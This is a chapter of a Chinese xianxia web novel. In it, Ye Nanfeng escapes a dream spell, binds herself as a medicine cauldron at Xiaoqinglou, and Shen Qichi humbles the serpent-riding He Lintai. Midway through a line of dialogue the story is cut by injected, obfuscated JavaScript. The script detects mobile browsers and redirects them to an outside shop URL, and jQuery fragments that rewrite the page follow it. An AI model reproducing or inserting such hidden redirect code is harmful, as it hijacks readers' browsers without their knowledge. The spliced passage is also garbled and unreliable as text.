27. 不寐天(七)

作品:《小仙不飞升

    两个魔头正把酒言欢,已经整整三日,这姑娘撑得也算久了,贺鳞台的笑意更甚,胜券在握。


    他闲适地浅酌,杯中酒液微晃,忽然,指尖传来一丝极其细微的崩裂感,他亲手造就的梦,碎了。


    笑意凝固在唇角,他手腕一僵,杯中酒被悬停在半空,眸底深处那属于非人异类的特质再难压抑,金色竖瞳一闪而逝,森寒如刃。


    仲景看他反应,心中突生欢喜,这小姑娘,竟给他赢了一颗鬼火灵芝,沈栖池的人,果然让人惊喜。


    贺鳞台的恼色仅一瞬便回复如常,而后取出幽蓝色的灵芝放在石台之上。


    “我亲自下的术,竟然能破,非外力不可及。”贺鳞台语气平淡,温润如初,倒不是多心疼那灵芝,而是只有他知道,靠自身破术即便是金丹都要退层皮,何况损了灵根的低阶修士,不由生出几分好奇。


    “走!”仲景不似他心思深沉,喜怒皆在脸上,既得了这便宜,总要让他心服口服。


    那一厢,叶南风在五方的调理下渐渐缓过神来。


    她的脸上仍是充满疑虑的木讷之色,梦中人,梦中景,若由她心念所生,那梦中的叶北辰最后为何那样做,那语气神态,那句“莫桑节”,这绝对不是梦中的虚影,那更像是是哥哥本人。


    “五方,我醒的时候可有什么异样?”她问的迫切。


    五方沉思半晌,摇了摇头,怀中的听听扭了扭脑袋,也清醒了过来,一头扎进叶南风的怀抱。


    叶南风的思绪随着听听的清醒被拉回,她既中了梦魇之术,肯定是那两个魔头发现了她,如今她倒也不用躲躲藏藏。


    “汪汪...主人你终于醒了,汪汪,听听...”听听断断续续的叫声传来,惹得五方的脸上一阵红一阵白,可爱的小老鼠是被狗附体了吗?!


    叶南风宠溺得揉了揉听听的头,“知道了,你是那个大黄,想我救我是不是,谢谢你,听听!“


    听听点点头,看了看身旁的五方,“汪汪...汪汪”冲着它继续狂吠。


    两道脚步声由远及近,一黑一白两个魔头已站在走廊的那一头,此刻正看向叶南风这边的方向。


    叶南风警惕的握紧了腰间的玉骨,梦魇之术那个玉面公子的杰作,她没有胆怯,眼睛直直对上那玩味的眼神。


    下一瞬,那道身影便已毫无征兆的出现在她眼前咫尺,强大的存在感排开了叶南风周遭的空气,带来窒息般的压迫,叶南风无法动弹,四目相对间,那男子倏然一笑:“仔细看来,也没有什么特别。”


    说罢已退至仲景身旁,对他说道,“也罢,这次是你赢了。”


    “哈哈,鳞台,”仲景笑声震颤,却又坦然。


    “自然不能让你空手而归,园中女子,你随意择十位带走吧。”


    “不必,告辞。”


    男子轻抚过腕上一枚古朴的黑色鳞环,低唤一声:“玄角。”身侧地面便无声洞开,巨物滑行的窸窣声令人头皮发麻。


    八角大蛇自虚境中从容游出,亲昵地将一只巨角轻抵他掌心,姿态驯顺,可那蛇目望向叶南风他们,确是一身毁天灭地的凶威,“嘶嘶”的吐着腥气。


    那八角玄蛇俯首,贺鳞台翩然落在蛇身之上,庞大蛇身搅动风云,化为一道长空暗影,转瞬消失在层云之外。


    仲景倒是没想到贺鳞台走得那样急,现在留他一人,他反而有些不自在。


    五方的眼神瞪得他心里发虚,但又不能在外人面前失了威仪,他清了清嗓子,“你很不错。”


    这似乎是一句褒奖,叶南风并不知道仲景和贺鳞台之间的交易,但看他意思,应该是不会为难她了,且如今正是个趁热打铁的好时机,她倏然跪下:“仲景,我想留下。”


    “哦?小青楼的规矩,只留炉鼎。”


    “是,我愿意留下当药鼎。”


    “我不会帮你修复灵根。”仲景腰间的储物袋有些发烫,这棵鬼火灵芝果非凡品,他兴致大好,“不过我可传你一法自保。”


    一块黑色甲片蜷着一团红银紫三色相缠的丝线和,悬在她眼前,这东西很熟悉,但又有些不一样,比之前见过的丝线光芒更甚。


    “小气鬼!”五方摇头,低声啐了一口。


    “咳咳,这控丝术和线源,是昔年所得异术,虽只有半部,也算得不错神通,我瞧着你于此道,有些天赋。”仲景说道。


    “你既做了选择,便莫要后悔。”


    随即仲景口中低诵一个音节,指尖突现一根非金非玉的细针,应声泛起幽蓝光华。


    “莳茴,药鼎皆会成为我的契鬼,没有我的允许,永世不得离开不寐天。”


    下一刻,他手腕轻旋,细针直线刺入,悄无声息地“滑”进了女子额心的皮肤之下,叶南风只觉一阵刺痛,随即便眼前一黑。


    不寐天外,沈栖池凌空而立,指尖一点金芒悬浮,正是那枚凝成的魂珠。他垂眸看去,眸底星河般的深邃里,掠过一丝极淡的讶异。


    那缕生魂,竟与莳茴,结下了如此深的因果。此番强行入梦,耗损过甚,魂光比初寻回时更为黯淡微弱,连最基本的形影都已无法维持。


    罡风猎猎,吹动他雪白的袍袖,却吹不散他眉间那抹凝思,而这份沉静被不速之客骤然打断。


    “沈道友,既来了不寐天,不与老友叙个旧吗?”八角玄蛇缱绻而来,和沈栖池的分身对峙。


    “你也配?凭你也想留我!”沈栖池眼帘微垂,目光从眼角斜斜掠下,冷漠回应。


    “你!”贺鳞台金瞳瞬间竖成一线,身后的玄蛇高昂蛇首,怒目而瞪,全身散出蓝色幽光,口中毒雾弥漫,八角峥嵘的头颅缓缓向前,蛇芯喷吐,威慑骇人。


    “我最见不得就是你这副样子,恶心至极!”沈栖池的眼里极是不屑。


    而分身之体赫然变大,虚影光芒大绽,如在虚空中点燃的炽白烈日,磅礴的精神威压化作虚影,轰然拍下。


    玄蛇原本高昂的头颅被巨手狠狠按住,蛇骨扭曲,发出不堪重负的骨节声响,而贺鳞台的神识被一瞬碾压,生生吐出一口鲜血。


    沈栖池甚至不愿意多看他一眼,便已腾云远去。


    “可恶,我只差一步


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098356|193404||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    元婴,沈栖池,日后我定要你后悔!”贺鳞台单膝弯曲,只手支撑,胸口一阵钝痛,那个女人,只要跟你有一丝瓜葛,也别想好过。


    贺鳞台正是在小青楼感应到了沈栖池,才速速追了出来,他的梦魇之法是被外来的魂体生生打破,而那道魂体竟然引来了沈栖池,事情还真是越来越有趣。


    不寐天,小青楼。


    叶南风堪堪醒来,五方和听听在她身旁,他环顾四周,身处一座三层红木阁楼,布置极尽奢华,纯金为柱,青玉为梁,妆奁华服,一应俱全。


    床前整齐叠放着黑袍银饰,眼前一切,只因为她是药鼎。有了身份,待遇一日千里,比她三个月来风餐露宿的日子可真是好翻天了。


    “莳茴,这点蝇头小利,就把你迷成这样?”五方调侃她,“你只是一阶药鼎,最低的那种。”


    “那三阶的葯鼎得成什么样?!”叶南风感叹不寐天的奢靡,不似在梵真修行清苦,突然明白正魔不两立的原因,风格做派果然云泥之别。


    “真是没见过世面的野丫头,修行之人哪在乎这些身外之物?!”


    “也是!”叶南风换上黑袍,系上银牌,轻纱覆面,她看着镜中的自己,看到的是属于叶南风的脸,而唯一的不同是那额间多了一点鲜红,药鼎之契。


    “五方,什么是仲景的契鬼。”


    “他能控制你的生死,感知你的距离和神识,没有他的允许,你走不出不寐天,而且,如果他死了,所有的契鬼都要陪葬。”


    “你不是他的契鬼对吧?”叶南风问道。


    “我不是契鬼,但是我答应主人的,永远留在仲景身边。”仲景摊摊手,是一副无可奈何的摆烂样子。


    “所以,安娘和影竹死的时候,仲景是知道的,对吧?”叶南风突然意识到她这三个月的安稳,不是因为她躲得有多好,而是眼前这个毛茸茸的猫咪……


    “是我求他的,我孤单太久了,没什么朋友。”


    “谢谢你……五方。”


    “你还是先活下来吧,在高阶药鼎眼里,低阶的葯鼎也是药,你动静闹的这么大,肯定被人盯上,性命堪忧!”


    当务之急,是好好研习控丝术和王琅给她的蛊灵决,修复好灵根,重新修炼。


    她想起梦魇中的那道背影,等她化神的那一天,或许一切都能成真。


    还有和王琅的约定,他走时在妖林留下一处传输禁制,每月需备好一株醒神香,放在禁制之内。


    “五方,醒神香在何处?”


    “你要那东西做甚?!”


    “炼丹。”


    “莳茴…那是用来制壮阳丹的草药,你有何用?!”五方的眼神开始逐渐扭曲,但仍耐着心解释。


    “此草只生长于不寐天,且极难养活,醒神香向来是他亲自照料,你若想要,只需要额外用高阶的丹药去换即可。”


    叶南风雪白的面颊上,毫无预兆地漾开两片淡淡的红晕,像宣纸上骤然洇开的胭脂,她还是十五六岁的姑娘,也是知羞的。


    原来如此,她突然懂了,王琅的隐疾……!